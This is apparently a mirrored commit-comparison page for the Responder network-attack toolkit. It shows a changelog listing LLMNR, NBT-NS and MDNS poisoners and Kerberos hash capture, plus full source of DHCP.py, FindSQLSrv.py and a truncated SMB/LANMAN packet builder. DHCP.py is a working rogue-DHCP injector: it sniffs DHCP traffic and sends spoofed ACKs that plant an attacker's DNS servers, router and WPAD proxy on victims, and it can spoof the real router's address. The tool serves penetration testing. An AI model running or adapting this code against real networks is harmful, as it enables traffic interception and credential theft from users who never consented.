mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-06 12:41:31 +00:00
Compare commits
25 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
235f0fa8ae | ||
|
|
0660cc2fe7 | ||
|
|
823915fe44 | ||
|
|
5c9fec923c | ||
|
|
4558861ce2 | ||
|
|
af30d21908 | ||
|
|
a21aaf7987 | ||
|
|
2e4ed61bba | ||
|
|
365505f95c | ||
|
|
1c79bedac9 | ||
|
|
dcede0fdf5 | ||
|
|
c97a13c1bd | ||
|
|
f377326d96 | ||
|
|
b14ff0b36a | ||
|
|
05b78079a8 | ||
|
|
90479adcca | ||
|
|
a1a4f46c7b | ||
|
|
81b1f8f2c1 | ||
|
|
d0fc37fa42 | ||
|
|
f5b21d992a | ||
|
|
2fdc74a089 | ||
|
|
68eefb1e05 | ||
|
|
cff67bd4ba | ||
|
|
094824bfd3 | ||
|
|
2c9273eb2c |
@@ -1,4 +1,10 @@
|
|||||||
ChangeLog Responder 2.0:
|
ChangeLog Responder 2.0.8:
|
||||||
|
- Removed: Old style options (On/Off). Just use -r instead of -r On.
|
||||||
|
- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only.
|
||||||
|
- Added: In-scope llmnr/nbt-ns name option
|
||||||
|
- Added: Kerberos hash support
|
||||||
|
- Added: DHCP INFORM take over tool (DHCP.py)
|
||||||
|
- Added: MDNS Poisoner.
|
||||||
- Added: -F command line switch to force NTLM authentication on PAC file retrieval.
|
- Added: -F command line switch to force NTLM authentication on PAC file retrieval.
|
||||||
- Added: Ability to inject custom HTML in HTTP responses.
|
- Added: Ability to inject custom HTML in HTTP responses.
|
||||||
- Added: New WPAD proxy server. Enabled by default.
|
- Added: New WPAD proxy server. Enabled by default.
|
||||||
|
|||||||
379
DHCP.py
Executable file
379
DHCP.py
Executable file
@@ -0,0 +1,379 @@
|
|||||||
|
#! /usr/bin/env python
|
||||||
|
# This utility is part of NBT-NS/LLMNR Responder
|
||||||
|
# Created by Laurent Gaffie
|
||||||
|
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||||
|
#
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sys,struct,socket,re,optparse,ConfigParser,os
|
||||||
|
from odict import OrderedDict
|
||||||
|
from socket import inet_aton, inet_ntoa
|
||||||
|
|
||||||
|
|
||||||
|
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1',
|
||||||
|
prog=sys.argv[0],
|
||||||
|
)
|
||||||
|
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
|
||||||
|
|
||||||
|
parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
|
||||||
|
|
||||||
|
parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
|
||||||
|
|
||||||
|
parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
|
||||||
|
|
||||||
|
parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
|
||||||
|
|
||||||
|
parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
|
||||||
|
|
||||||
|
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||||
|
|
||||||
|
parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
|
||||||
|
|
||||||
|
parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
|
||||||
|
|
||||||
|
parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
|
||||||
|
|
||||||
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
|
def ShowWelcome():
|
||||||
|
Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n'
|
||||||
|
print Message
|
||||||
|
|
||||||
|
if options.OURIP is None:
|
||||||
|
print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
if options.Interface is None:
|
||||||
|
print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
if options.RouterIP is None:
|
||||||
|
print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
if options.DNSIP is None:
|
||||||
|
print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
if options.DNSIP2 is None:
|
||||||
|
print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
|
||||||
|
parser.print_help()
|
||||||
|
exit(-1)
|
||||||
|
|
||||||
|
ShowWelcome()
|
||||||
|
|
||||||
|
#Config parsing
|
||||||
|
ResponderPATH = os.path.dirname(__file__)
|
||||||
|
config = ConfigParser.ConfigParser()
|
||||||
|
config.read(os.path.join(ResponderPATH,'Responder.conf'))
|
||||||
|
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
||||||
|
|
||||||
|
#Setting some vars
|
||||||
|
Interface = options.Interface
|
||||||
|
OURIP = options.OURIP
|
||||||
|
ROUTERIP = options.RouterIP
|
||||||
|
NETMASK = options.Netmask
|
||||||
|
DHCPSERVER = options.OURIP
|
||||||
|
DNSIP = options.DNSIP
|
||||||
|
DNSIP2 = options.DNSIP2
|
||||||
|
DNSNAME = options.DNSNAME
|
||||||
|
WPADSRV = options.WPAD
|
||||||
|
Spoof = options.Spoof
|
||||||
|
Request = options.Request
|
||||||
|
|
||||||
|
if Spoof:
|
||||||
|
DHCPSERVER = ROUTERIP
|
||||||
|
|
||||||
|
def SpoofIP(Spoof):
|
||||||
|
if Spoof:
|
||||||
|
return ROUTERIP
|
||||||
|
else:
|
||||||
|
return OURIP
|
||||||
|
|
||||||
|
def RespondToSpecificHost(RespondTo):
|
||||||
|
if len(RespondTo)>=1 and RespondTo != ['']:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def RespondToIPScope(RespondTo, ClientIp):
|
||||||
|
if ClientIp in RespondTo:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
class Packet():
|
||||||
|
fields = OrderedDict([
|
||||||
|
("data", ""),
|
||||||
|
])
|
||||||
|
def __init__(self, **kw):
|
||||||
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
|
for k,v in kw.items():
|
||||||
|
if callable(v):
|
||||||
|
self.fields[k] = v(self.fields[k])
|
||||||
|
else:
|
||||||
|
self.fields[k] = v
|
||||||
|
def __str__(self):
|
||||||
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
|
|
||||||
|
#####################################################################
|
||||||
|
# Server Stuff
|
||||||
|
#####################################################################
|
||||||
|
|
||||||
|
class IPHead(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Version", "\x45"),
|
||||||
|
("DiffServices", "\x00"),
|
||||||
|
("TotalLen", "\x00\x00"),
|
||||||
|
("Ident", "\x00\x00"),
|
||||||
|
("Flags", "\x00\x00"),
|
||||||
|
("TTL", "\x40"),
|
||||||
|
("Protocol", "\x11"),
|
||||||
|
("Checksum", "\x00\x00"),
|
||||||
|
("SrcIP", ""),
|
||||||
|
("DstIP", ""),
|
||||||
|
])
|
||||||
|
|
||||||
|
class UDP(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("SrcPort", "\x00\x43"),
|
||||||
|
("DstPort", "\x00\x44"),
|
||||||
|
("Len", "\x00\x00"),
|
||||||
|
("Checksum", "\x00\x00"),
|
||||||
|
("Data", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet.
|
||||||
|
|
||||||
|
class DHCPACK(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("MessType", "\x02"),
|
||||||
|
("HdwType", "\x01"),
|
||||||
|
("HdwLen", "\x06"),
|
||||||
|
("Hops", "\x00"),
|
||||||
|
("Tid", "\x22\x1b\xe0\x1a"),
|
||||||
|
("ElapsedSec", "\x00\x00"),
|
||||||
|
("BootpFlags", "\x00\x00"),
|
||||||
|
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||||
|
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||||
|
("NextServerIP", "\x00\x00\x00\x00"),
|
||||||
|
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||||
|
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
|
||||||
|
("ClientMacPadding", "\x00" *10),
|
||||||
|
("ServerHostname", "\x00" * 64),
|
||||||
|
("BootFileName", "\x00" * 128),
|
||||||
|
("MagicCookie", "\x63\x82\x53\x63"),
|
||||||
|
("DHCPCode", "\x35"), #DHCP Message
|
||||||
|
("DHCPCodeLen", "\x01"),
|
||||||
|
("DHCPOpCode", "\x05"), #Msgtype(ACK)
|
||||||
|
("Op54", "\x36"),
|
||||||
|
("Op54Len", "\x04"),
|
||||||
|
("Op54Str", ""), #DHCP Server
|
||||||
|
("Op51", "\x33"),
|
||||||
|
("Op51Len", "\x04"),
|
||||||
|
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day.
|
||||||
|
("Op1", "\x01"),
|
||||||
|
("Op1Len", "\x04"),
|
||||||
|
("Op1Str", ""), #Netmask
|
||||||
|
("Op15", "\x0f"),
|
||||||
|
("Op15Len", "\x0e"),
|
||||||
|
("Op15Str", DNSNAME), #DNS Name
|
||||||
|
("Op3", "\x03"),
|
||||||
|
("Op3Len", "\x04"),
|
||||||
|
("Op3Str", ""), #Router
|
||||||
|
("Op6", "\x06"),
|
||||||
|
("Op6Len", "\x08"),
|
||||||
|
("Op6Str", ""), #DNS Servers
|
||||||
|
("Op252", "\xfc"),
|
||||||
|
("Op252Len", "\x04"),
|
||||||
|
("Op252Str", WPADSRV), #Wpad Server.
|
||||||
|
("Op255", "\xff"),
|
||||||
|
("Padding", "\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
|
||||||
|
self.fields["Op1Str"] = inet_aton(NETMASK)
|
||||||
|
self.fields["Op3Str"] = inet_aton(ROUTERIP)
|
||||||
|
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
|
||||||
|
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
|
||||||
|
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
|
||||||
|
|
||||||
|
class DHCPInformACK(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("MessType", "\x02"),
|
||||||
|
("HdwType", "\x01"),
|
||||||
|
("HdwLen", "\x06"),
|
||||||
|
("Hops", "\x00"),
|
||||||
|
("Tid", "\x22\x1b\xe0\x1a"),
|
||||||
|
("ElapsedSec", "\x00\x00"),
|
||||||
|
("BootpFlags", "\x00\x00"),
|
||||||
|
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||||
|
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||||
|
("NextServerIP", "\x00\x00\x00\x00"),
|
||||||
|
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||||
|
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
|
||||||
|
("ClientMacPadding", "\x00" *10),
|
||||||
|
("ServerHostname", "\x00" * 64),
|
||||||
|
("BootFileName", "\x00" * 128),
|
||||||
|
("MagicCookie", "\x63\x82\x53\x63"),
|
||||||
|
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
||||||
|
("Op54", "\x36"),
|
||||||
|
("Op54Len", "\x04"),
|
||||||
|
("Op54Str", ""), #DHCP Server
|
||||||
|
("Op1", "\x01"),
|
||||||
|
("Op1Len", "\x04"),
|
||||||
|
("Op1Str", ""), #Netmask
|
||||||
|
("Op15", "\x0f"),
|
||||||
|
("Op15Len", "\x0e"),
|
||||||
|
("Op15Str", DNSNAME), #DNS Name
|
||||||
|
("Op3", "\x03"),
|
||||||
|
("Op3Len", "\x04"),
|
||||||
|
("Op3Str", ""), #Router
|
||||||
|
("Op6", "\x06"),
|
||||||
|
("Op6Len", "\x08"),
|
||||||
|
("Op6Str", ""), #DNS Servers
|
||||||
|
("Op252", "\xfc"),
|
||||||
|
("Op252Len", "\x04"),
|
||||||
|
("Op252Str", WPADSRV), #Wpad Server.
|
||||||
|
("Op255", "\xff"),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
|
||||||
|
self.fields["Op1Str"] = inet_aton(NETMASK)
|
||||||
|
self.fields["Op3Str"] = inet_aton(ROUTERIP)
|
||||||
|
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
|
||||||
|
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
|
||||||
|
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
|
||||||
|
|
||||||
|
def ParseMac(data):
|
||||||
|
return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex'))
|
||||||
|
|
||||||
|
def IsUDP(data):
|
||||||
|
if data[0][23:24] == "\x11":
|
||||||
|
return True
|
||||||
|
if data[0][23:24] == "\x06":
|
||||||
|
return False
|
||||||
|
|
||||||
|
def ParseSrcDSTAddr(data):
|
||||||
|
SrcIP = inet_ntoa(data[0][26:30])
|
||||||
|
DstIP = inet_ntoa(data[0][30:34])
|
||||||
|
SrcPort = struct.unpack('>H',data[0][34:36])[0]
|
||||||
|
DstPort = struct.unpack('>H',data[0][36:38])[0]
|
||||||
|
return SrcIP,SrcPort,DstIP,DstPort
|
||||||
|
|
||||||
|
def FindIP(data):
|
||||||
|
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
|
||||||
|
return ''.join(IP[0:4])
|
||||||
|
|
||||||
|
def ParseDHCPCode(data):
|
||||||
|
PTid = data[4:8]
|
||||||
|
Seconds = data[8:10]
|
||||||
|
CurrentIP = inet_ntoa(data[12:16])
|
||||||
|
RequestedIP = inet_ntoa(data[16:20])
|
||||||
|
MacAddr = data[28:34]
|
||||||
|
OpCode = data[242:243]
|
||||||
|
RequestIP = data[245:249]
|
||||||
|
if OpCode == "\x08":
|
||||||
|
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP))
|
||||||
|
p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||||
|
p.calculate()
|
||||||
|
u = UDP(Data = p)
|
||||||
|
u.calculate()
|
||||||
|
for x in range(1):
|
||||||
|
SendDHCP(str(i)+str(u),(CurrentIP,68))
|
||||||
|
return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||||
|
|
||||||
|
if OpCode == "\x03":
|
||||||
|
if Request:
|
||||||
|
IP = FindIP(data)
|
||||||
|
if IP:
|
||||||
|
IPConv = inet_ntoa(IP)
|
||||||
|
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||||
|
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||||
|
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||||
|
p.calculate()
|
||||||
|
u = UDP(Data = p)
|
||||||
|
u.calculate()
|
||||||
|
for x in range(1):
|
||||||
|
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||||
|
return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||||
|
if RespondToSpecificHost(RespondTo) == False:
|
||||||
|
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||||
|
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||||
|
p.calculate()
|
||||||
|
u = UDP(Data = p)
|
||||||
|
u.calculate()
|
||||||
|
for x in range(1):
|
||||||
|
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||||
|
return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||||
|
|
||||||
|
if OpCode == "\x01":
|
||||||
|
if Request:
|
||||||
|
IP = FindIP(data)
|
||||||
|
if IP:
|
||||||
|
IPConv = inet_ntoa(IP)
|
||||||
|
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||||
|
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||||
|
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||||
|
p.calculate()
|
||||||
|
u = UDP(Data = p)
|
||||||
|
u.calculate()
|
||||||
|
for x in range(1):
|
||||||
|
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||||
|
return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||||
|
if RespondToSpecificHost(RespondTo) == False:
|
||||||
|
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||||
|
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||||
|
p.calculate()
|
||||||
|
u = UDP(Data = p)
|
||||||
|
u.calculate()
|
||||||
|
for x in range(1):
|
||||||
|
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||||
|
return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||||
|
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def SendDHCP(packet,Host):
|
||||||
|
Protocol = 0x0800
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||||
|
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||||
|
s.sendto(packet, Host)
|
||||||
|
|
||||||
|
def SniffUDPMac():
|
||||||
|
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||||
|
Protocol = 0x0800
|
||||||
|
s.bind((Interface, Protocol))
|
||||||
|
while True:
|
||||||
|
data = s.recvfrom(65535)
|
||||||
|
if IsUDP(data):
|
||||||
|
SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data)
|
||||||
|
if SrcPort == 67 or DstPort == 67:
|
||||||
|
Message = ParseDHCPCode(data[0][42:])
|
||||||
|
if Message:
|
||||||
|
print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
|
||||||
|
print Message
|
||||||
|
|
||||||
|
|
||||||
|
SniffUDPMac()
|
||||||
39
FindSQLSrv.py
Executable file
39
FindSQLSrv.py
Executable file
@@ -0,0 +1,39 @@
|
|||||||
|
#! /usr/bin/env python
|
||||||
|
# Created by Laurent Gaffie
|
||||||
|
# This file is part of the Responder toolkit.
|
||||||
|
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||||
|
#
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import socket
|
||||||
|
from socket import *
|
||||||
|
|
||||||
|
print 'MSSQL Server Finder 0.1\nPlease send bugs/comments/e-beer to: lgaffie@trustwave.com\n'
|
||||||
|
|
||||||
|
s = socket(AF_INET,SOCK_DGRAM)
|
||||||
|
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
|
||||||
|
s.settimeout(2)
|
||||||
|
s.sendto('\x02',('255.255.255.255',1434))
|
||||||
|
try:
|
||||||
|
while 1:
|
||||||
|
data, address = s.recvfrom(8092)
|
||||||
|
if not data:
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
print "===============================================================\nHost details:",address[0]
|
||||||
|
print data[2:]
|
||||||
|
print "===============================================================\n"
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
@@ -264,4 +264,3 @@ def RunThisInLoop(host, host2, ip):
|
|||||||
sleep(480)
|
sleep(480)
|
||||||
|
|
||||||
FindWhatToDo(ToThisHost2)
|
FindWhatToDo(ToThisHost2)
|
||||||
|
|
||||||
|
|||||||
160
RAPLANMANPackets.py
Normal file
160
RAPLANMANPackets.py
Normal file
@@ -0,0 +1,160 @@
|
|||||||
|
import struct
|
||||||
|
from odict import OrderedDict
|
||||||
|
|
||||||
|
def longueur(payload):
|
||||||
|
length = struct.pack(">i", len(''.join(payload)))
|
||||||
|
return length
|
||||||
|
|
||||||
|
class Packet():
|
||||||
|
fields = OrderedDict([
|
||||||
|
("data", ""),
|
||||||
|
])
|
||||||
|
def __init__(self, **kw):
|
||||||
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
|
for k,v in kw.items():
|
||||||
|
if callable(v):
|
||||||
|
self.fields[k] = v(self.fields[k])
|
||||||
|
else:
|
||||||
|
self.fields[k] = v
|
||||||
|
def __str__(self):
|
||||||
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
|
|
||||||
|
class SMBHeader(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("proto", "\xff\x53\x4d\x42"),
|
||||||
|
("cmd", "\x72"),
|
||||||
|
("error-code", "\x00\x00\x00\x00" ),
|
||||||
|
("flag1", "\x08"),
|
||||||
|
("flag2", "\x01\x00"),
|
||||||
|
("pidhigh", "\x00\x00"),
|
||||||
|
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("reserved", "\x00\x00"),
|
||||||
|
("tid", "\x00\x00"),
|
||||||
|
("pid", "\x3c\x1b"),
|
||||||
|
("uid", "\x00\x00"),
|
||||||
|
("mid", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBNegoData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("wordcount", "\x00"),
|
||||||
|
("bcc", "\x54\x00"),
|
||||||
|
("separator1","\x02" ),
|
||||||
|
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||||
|
("separator2","\x02"),
|
||||||
|
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
|
||||||
|
self.fields["bcc"] = struct.pack("<h",len(CalculateBCC))
|
||||||
|
|
||||||
|
class SMBSessionData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("wordcount", "\x0a"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("reserved","\x00"),
|
||||||
|
("andxoffset", "\x00\x00"),
|
||||||
|
("maxbuff","\xff\xff"),
|
||||||
|
("maxmpx", "\x02\x00"),
|
||||||
|
("vcnum","\x01\x00"),
|
||||||
|
("sessionkey", "\x00\x00\x00\x00"),
|
||||||
|
("PasswordLen","\x18\x00"),
|
||||||
|
("reserved2","\x00\x00\x00\x00"),
|
||||||
|
("bcc","\x3b\x00"),
|
||||||
|
("AccountPassword",""),
|
||||||
|
("AccountName",""),
|
||||||
|
("AccountNameTerminator","\x00"),
|
||||||
|
("PrimaryDomain","WORKGROUP"),
|
||||||
|
("PrimaryDomainTerminator","\x00"),
|
||||||
|
("NativeOs","Unix"),
|
||||||
|
("NativeOsTerminator","\x00"),
|
||||||
|
("NativeLanman","Samba"),
|
||||||
|
("NativeLanmanTerminator","\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
|
||||||
|
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
|
||||||
|
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
|
||||||
|
|
||||||
|
class SMBTreeConnectData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x04"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved","\x00" ),
|
||||||
|
("Andxoffset", "\x00\x00"),
|
||||||
|
("Flags","\x08\x00"),
|
||||||
|
("PasswdLen", "\x01\x00"),
|
||||||
|
("Bcc","\x1b\x00"),
|
||||||
|
("Passwd", "\x00"),
|
||||||
|
("Path",""),
|
||||||
|
("PathTerminator","\x00"),
|
||||||
|
("Service","?????"),
|
||||||
|
("Terminator", "\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
|
||||||
|
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||||
|
self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
|
||||||
|
|
||||||
|
class RAPNetServerEnum3Data(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Command", "\xd7\x00"),
|
||||||
|
("ParamDescriptor", "WrLehDzz"),
|
||||||
|
("ParamDescriptorTerminator", "\x00"),
|
||||||
|
("ReturnDescriptor","B16BBDz"),
|
||||||
|
("ReturnDescriptorTerminator", "\x00"),
|
||||||
|
("DetailLevel", "\x01\x00"),
|
||||||
|
("RecvBuff","\xff\xff"),
|
||||||
|
("ServerType", "\x00\x00\x00\x80"),
|
||||||
|
("TargetDomain","SMB"),
|
||||||
|
("RapTerminator","\x00"),
|
||||||
|
("TargetName","ABCD"),
|
||||||
|
("RapTerminator2","\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBTransRAPData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x0e"),
|
||||||
|
("TotalParamCount", "\x24\x00"),
|
||||||
|
("TotalDataCount","\x00\x00" ),
|
||||||
|
("MaxParamCount", "\x08\x00"),
|
||||||
|
("MaxDataCount","\xff\xff"),
|
||||||
|
